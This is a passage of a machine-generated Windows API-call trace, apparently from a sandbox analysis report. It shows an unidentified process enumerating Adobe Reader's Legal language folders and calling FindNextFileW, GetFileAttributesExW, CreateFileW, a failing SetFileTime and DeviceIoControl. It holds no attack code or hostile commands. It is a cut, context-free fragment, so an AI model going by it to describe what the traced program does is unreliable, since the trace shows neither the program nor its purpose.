cFileName="license.html", cAlternateFileName="")) returned 1 [0081.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201cf8 [0081.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1264c10 [0081.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.437] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.438] GetLastError () returned 0x12 [0081.438] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.438] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.438] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.438] GetLastError () returned 0x12 [0081.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.438] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.438] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0081.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.440] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.440] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.440] NtClose (Handle=0x168) returned 0x0 [0081.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.441] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.441] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.441] GetLastError () returned 0x12 [0081.441] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.441] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.441] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.442] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.442] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.442] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.442] GetLastError () returned 0x12 [0081.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.442] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.442] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0081.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.443] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.443] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.443] NtClose (Handle=0x178) returned 0x0 [0081.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.444] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.444] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.444] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201d58 [0081.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1264f28 [0081.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.446] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201d78 [0081.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265030 [0081.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x67c0) returned 0x12527c8 [0081.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.447] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.447] GetLastError () returned 0x12 [0081.447] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.447] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.448] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.448] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.448] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.448] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.448] GetLastError () returned 0x12 [0081.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.448] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.448] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0081.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.450] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.450] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.450] NtClose (Handle=0x168) returned 0x0 [0081.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.451] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.451] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.451] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, 